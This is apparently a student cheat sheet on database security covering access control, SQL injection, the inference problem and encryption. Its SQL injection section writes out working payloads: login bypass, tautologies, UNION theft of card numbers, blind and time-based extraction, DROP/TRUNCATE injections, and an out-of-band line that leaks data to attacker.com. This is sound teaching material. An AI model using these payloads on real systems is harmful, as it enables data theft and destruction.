🔐 Chapter 11 — Database Security Cheat Sheet

1. Database & DBMS Fundamentals

What is a Database?

• A structured collection of data stored for use by one or more applications
• Contains relationships between data items
• Uses a Query Language (SQL) as the uniform interface

DBMS — Key Components

🏛️ Analogy: A DBMS is like a library system. Librarians (DBMS) manage the shelves (physical DB). Visitors (users/apps) interact through the front desk (query language) which checks what each visitor is allowed to access.

2. Relational Database Concepts

Key Terminology

🗂️ Analogy: A relational DB is like a spreadsheet app — each sheet is a table, rows are records, columns are fields, and foreign keys are like hyperlinks between sheets.

Example: Department ↔ Employee

Department Table               Employee Table
┌─────┬──────────────────┐     ┌───────────┬─────────┬────────┐
│ Did │ Dname            │     │ Ename     │ Did(FK) │ Eid(PK)│
├─────┼──────────────────┤     ├───────────┼─────────┼────────┤
│ 4   │ Human Resources  │     │ Robin     │ 15      │ 2345   │
│ 15  │ Services         │ ←── │ Jasmine   │ 4       │ 7712   │
└─────┴──────────────────┘     └───────────┴─────────┴────────┘

Did in Employee is a Foreign Key → references Did (PK) in Department.

Views — Security Benefit & Trade-offs

Why views help security:

• Users see only what they need — they cannot access the underlying base table directly
• Prevents users from inferring schema structure from raw queries
• Great for applying row/column-level access without changing the real table

Disadvantages:

• Storage cost — Materialized Views consume extra disk space
• Update cost — If the base table changes frequently, views can become expensive to maintain

3. SQL Basics (DDL / DML / DCL)

-- DDL (Data Definition Language) — schema creation
CREATE TABLE employees (id INT PRIMARY KEY, name VARCHAR(50));
 
-- DML (Data Manipulation Language) — data operations
SELECT * FROM employees WHERE id = 1;
INSERT INTO employees VALUES (2, 'Alice');
 
-- DCL (Data Control Language) — access control
GRANT SELECT ON employees TO alice;
REVOKE SELECT ON employees FROM alice;

$\boxed{\text{SQL} = \text{DDL} + \text{DML} + \text{DCL (GRANT / REVOKE)}}$

🍽️ Analogy: SQL is like ordering at a restaurant — SELECT is what you want, FROM is the menu, WHERE is your condition, and the kitchen (DBMS) brings it back.

4. Data Security Overview

$\boxed{\text{Data Security} = \text{Confidentiality} + \text{Integrity}}$

• Confidentiality — prevent unauthorized viewing of data
• Integrity — prevent unauthorized modification of data

Why Authentication Alone Is NOT Enough

Authentication checks who you are at the server/app level — but it does nothing to control what SQL queries you can run inside the DB. You need DB-level access control (GRANT/REVOKE) on top.

Traditional Approaches

• Statistical Databases — ideally only allow aggregate queries (SUM, AVG, COUNT), not individual record access. Problem: clever users combine multiple aggregate queries to derive individual-level data (→ see Inference Problem)
• Security in SQL = Access Control + Views

5. Database Access Control (GRANT / REVOKE)

The Three Administrative Policies

GRANT & REVOKE Syntax

-- Grant privileges
GRANT SELECT, INSERT ON employees TO alice [WITH GRANT OPTION];
 
-- Revoke privileges
REVOKE SELECT ON employees FROM alice [CASCADE];

• WITH GRANT OPTION → Alice can now grant this privilege to others
• CASCADE → also revokes from anyone Alice granted to

CASCADE in Action — Privilege Chain

Ann ──(t=10)──→ Bob ──(t=30)──→ David ──(t=40)──→ Ellen ──(t=70)──→ Jim
                 \                     \
Ann ──(t=20)──→ Chris ──(t=50)──→ David ──(t=60)──→ Frank

After REVOKE ... FROM Bob CASCADE:

• Ellen and Jim lose their privileges (chain broken at Bob→David)
• Frank keeps privilege (his chain goes through Chris, which is untouched)

📞 Analogy: CASCADE is like cutting a link in a phone tree. Everyone below that cut goes silent — but branches from other sources are unaffected.

6. Role-Based Access Control (RBAC)

Instead of assigning permissions user-by-user, you define roles (job titles) and assign users to them.

🏢 Analogy: Like a company hierarchy — instead of telling each employee exactly what they can do, you assign them a job title that comes with predefined permissions.

User Categories

Fixed Server Roles (Microsoft SQL Server)

Fixed Database Roles (Microsoft SQL Server)

7. SQL Injection Attacks (SQLi)

⚠️ One of the most prevalent and dangerous network-based security threats.

What Is SQLi?

Web apps take user input and plug it directly into a SQL query string. An attacker inserts SQL code as their "input" — the database then executes it as real SQL.

🛒 Analogy: Like slipping extra instructions onto someone's grocery list so the store also hands over things you never ordered — except the "store" is your entire database.

Core Injection Mechanism — The ' and -- trick

-- App builds this (vulnerable):
SELECT * FROM users WHERE username = '[INPUT]' AND password = '[INPUT]';
 
-- Attacker types: admin'--  in the username field
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything';
--                                            ↑ comment starts here → password check ignored!

The 5 Common SQLi Patterns

Pattern 1 — Single Quote ' (String Terminator)

1. Type ' to prematurely close the string
2. Inject additional SQL logic
3. Break authentication or extract data

Pattern 2 — End-of-Line Comment --

• Everything after -- is ignored by the DB engine
• Used to nullify the rest of the original query

Pattern 3 — Tautology (OR '1'='1')

-- Input: username: ' OR '1'='1   password: ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';
--                                        ↑ always true!  → all rows returned → login bypassed!

Pattern 4 — Piggybacked Queries (;)

-- Inject an additional query after semicolon:
SELECT * FROM customers; TRUNCATE TABLE customers;
--                       ↑ second query also executes!

⚠️ Depends on knowing the table name — never expose table names in error messages!

Pattern 5 — UNION Injection

-- Original query:
SELECT Name, Phone, Address FROM Users WHERE Id=$id
 
-- Attacker sets $id = 1 UNION ALL SELECT creditCardNumber, 1, 1 FROM CreditCardTable
SELECT Name, Phone, Address FROM Users WHERE Id=1
UNION ALL SELECT creditCardNumber, 1, 1 FROM CreditCardTable;
-- Returns credit card numbers alongside user data!

💳 Analogy: Like sneaking a second order onto someone else's restaurant receipt — both orders get processed together.

SQLi Attack Types

🔵 Inband Attacks (results come back in the page)

• Uses the same channel to inject and retrieve data
• Most common type — result appears directly in the response
• Includes: Tautology, EOL Comment, Piggybacked Queries, UNION

🟡 Inferential (Blind SQLi) — no direct output

Boolean-Based:

-- Test if injection works:
?id=5 AND 1=1   → Page loads ✅ (condition true)
?id=5 AND 1=2   → "Not found" ❌ (condition false)
 
-- Extract version character by character:
?id=5 AND (SELECT SUBSTRING(version(),1,1))='5'
-- Page loads = first char of DB version is '5'

🟩 Analogy: Like playing Wordle — guess one letter at a time using only green/grey feedback. No direct output, but you eventually reconstruct the full answer.

Time-Based:

-- No output at all — attacker uses delays as signals
?id=5 AND SLEEP(5)        -- if page pauses 5s → injection works!
 
-- Extract DB name char by char:
?id=5 AND IF(SUBSTRING(DATABASE(),1,1)='s', SLEEP(5), 0)
-- 5-second pause = first letter is 's'

Why DB version matters: Different versions have different known exploits. Once attacker knows you're on MySQL 5.x → they target known vulnerabilities from that era.

🔴 Out-of-Band (OOB) — data sent to attacker's server

Used when the app shows no output at all, but the DB can make external network calls.

-- MySQL DNS-based OOB:
1; SELECT LOAD_FILE('\\attacker.com\share'); --
-- DB tries to resolve attacker.com → attacker sees DNS request with leaked data!

Second-Order SQLi (Time-Delayed Injection)

The payload is stored safely but triggered later when another part of the app uses it unsafely.

Step 1: Attacker registers with name: John'; DROP TABLE users; --
Step 2: App stores it safely using parameterized INSERT → no problem yet
Step 3: Later, app retrieves the name and builds a query WITHOUT escaping:
         query = "SELECT * FROM users WHERE name = '" + stored_name + "'"
Step 4: 💥 DROP TABLE users; executes!

Prevention: Always use prepared statements, even when using data that came from your own DB.

SQLi Attack Avenues

SQLi After-Effects

• Bypass login / authentication
• Bulk data theft (credit cards, PII, passwords)
• Delete or modify data (DROP TABLE, UPDATE)
• Install web shell → remote code execution
• iFrame injection → inject malicious content into pages
• Access system files
• Denial-of-Service (DoS)
• Install DB backdoor
• Lateral movement — attack other computers on the LAN

8. SQLi Prevention (8 Defenses)

✅ Defense 1 — Prepared Statements / Parameterized Queries (Best!)

SQL is precompiled with placeholders. User input goes in as data — never as code.

# Python
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))  # username is data, not SQL

# PHP (PDO)
$sth = $dbh->prepare("SELECT email FROM members WHERE email = ?;");
$sth->execute($email);

📝 Analogy: Like a form with fixed blanks — you can only fill in the blank, you can't rewrite the form.

How it works under the hood:

• prepare() → DB parses and compiles the SQL first
• execute() → parameters are combined with the already-compiled statement
• The injected SQL never gets parsed — it's treated as literal data

✅ Defense 2 — Escape Special Characters

Escape quotes so they're treated as literal characters, not SQL delimiters.

-- Vulnerable:
SELECT * FROM authors WHERE name = 'O'Reilly';  -- breaks!
 
-- Fixed (double single-quote escapes it):
SELECT * FROM authors WHERE name = 'O''Reilly';  -- O'Reilly ✅

⚠️ Note: Escaping is a fallback. Prepared statements are better — don't rely on escaping alone.

✅ Defense 3 — Input Validation

• Validate input format: email, date, phone number — reject what doesn't match
• Exclude quotes and semicolons where possible (but not always — e.g., "O'Reilly" is a real name)
• Enforce length limits — many SQLi attacks depend on long strings

✅ Defense 4 — Scan for Suspicious Keywords

• Block or flag: INSERT, DROP, SELECT, UNION, DELETE in input
• Check if the keyword appears in a SQL syntax context, not just as a word

✅ Defense 5 — Limit Database Permissions

• Web app that only reads → connect as read-only user
• Never connect as DB admin from a web application
• Principle of Least Privilege: give only what's needed

✅ Defense 6 — Configure Error Reporting

• Default error messages can leak table names, field names, schema — gold for attackers
• Show only generic error messages to users: "Invalid input" not "Column 'password' in table 'users' doesn't exist"

❌ Don't say: "Input must be ≤ 6 characters, alphanumeric only" — you're helping the attacker understand your schema! ✅ Say: "Invalid input"

✅ Defense 7 — Use Vulnerability Scanners

• sqlmap — open-source penetration testing tool
  • Point it at your app's URL
  • It automatically detects SQL injection vulnerabilities
  • Dumps results to a log file for the dev team to patch

✅ Defense 8 — Web Application Firewall (WAF)

• Sits in front of your app and DB
• Filters, monitors, and blocks malicious HTTP traffic
• Catches known SQLi patterns before they hit the server

SQLi Countermeasures Summary

9. DB Inference Problem

What is Inference?

Performing authorized queries and combining results to deduce unauthorized information.

$\boxed{\text{Non-sensitive data} + \text{Metadata} \xrightarrow{\text{Inference}} \text{Sensitive data}}$

The path by which unauthorized data is obtained = Inference Channel

🕵️ Analogy: A user is allowed to know "average salary by department" and "employee list by department" separately. But if they combine both queries, they can figure out exactly who earns what — even though salary was supposedly protected.

Classic Example

View 1 (exposed): Position + Salary

senior → $43,000 | junior → $35,000 | senior → $48,000

View 2 (exposed): Name + Department

Andy → strip | Calvin → strip | Cathy → strip

Combined (inferred):

→ Salary was "protected," but combining two authorized views reveals it by individual. 💀

Inference Detection Approaches

🔍 Analogy: Design-time is like childproofing the whole house before a kid arrives. Query-time is like watching the kid and stopping them the moment they try something dangerous.

10. Database Encryption

Encryption = the last line of defense in database security. Even if every other layer fails, encrypted data is unreadable.

Defense Layers (Outer → Inner)

Internet → Firewall → Authentication → General Access Control
        → DB Access Control → DB Encryption ← (last resort!)

Where Encryption Can Be Applied

Disadvantages of DB Encryption

Encrypted DB Architecture

User → Client (Frontend)
          ↓ original query
     Query Processor
          ↓ transformed query (on encrypted data)
     Encrypted DB (on Server) ← Server cannot read your data!
          ↓ encrypted result
     Client ← decrypts with Encrypt/Decrypt module + Metadata
          ↓
     User receives plaintext result ✅

🏦 Analogy: Like a safe-deposit box at a bank — even bank staff (server) can't see what's inside. Only you (client with the key) can decrypt it.

11. Who Uses the DB? (Attack Surface Awareness)

Shared Hosting Risk

$\boxed{\text{Shared DB Server} = \text{Shared Risk}}$

• Hundreds of websites on the same DB server = hundreds of attack vectors
• Your neighbor's vulnerability is your vulnerability — if they get compromised, the shared DB can be attacked from their app

12. Additional Tools & Resources

🗺️ Big Picture Summary

Database Security
│
├── Access Control
│   ├── GRANT / REVOKE (SQL DCL)
│   ├── Views (column/row filtering)
│   ├── RBAC (roles instead of per-user grants)
│   └── Policies: Centralized / Ownership / Decentralized
│
├── SQL Injection (biggest threat)
│   ├── Inband (Tautology, UNION, Comment, Piggybacked)
│   ├── Blind (Boolean-based, Time-based)
│   ├── Out-of-Band (DNS/HTTP exfiltration)
│   ├── Second-Order (delayed trigger)
│   └── Prevention: Prepared Statements > Escape > Validate > WAF
│
├── Inference Problem
│   ├── Combining authorized queries → unauthorized insight
│   └── Detection: Design-time vs. Query-time
│
└── Encryption
    ├── Last line of defense
    ├── Multiple levels: DB / Record / Attribute / Field
    └── Trade-offs: Key management, search inflexibility

$\boxed{\text{DB Security} = \text{Access Control} + \text{SQLi Defense} + \text{Inference Control} + \text{Encryption}}$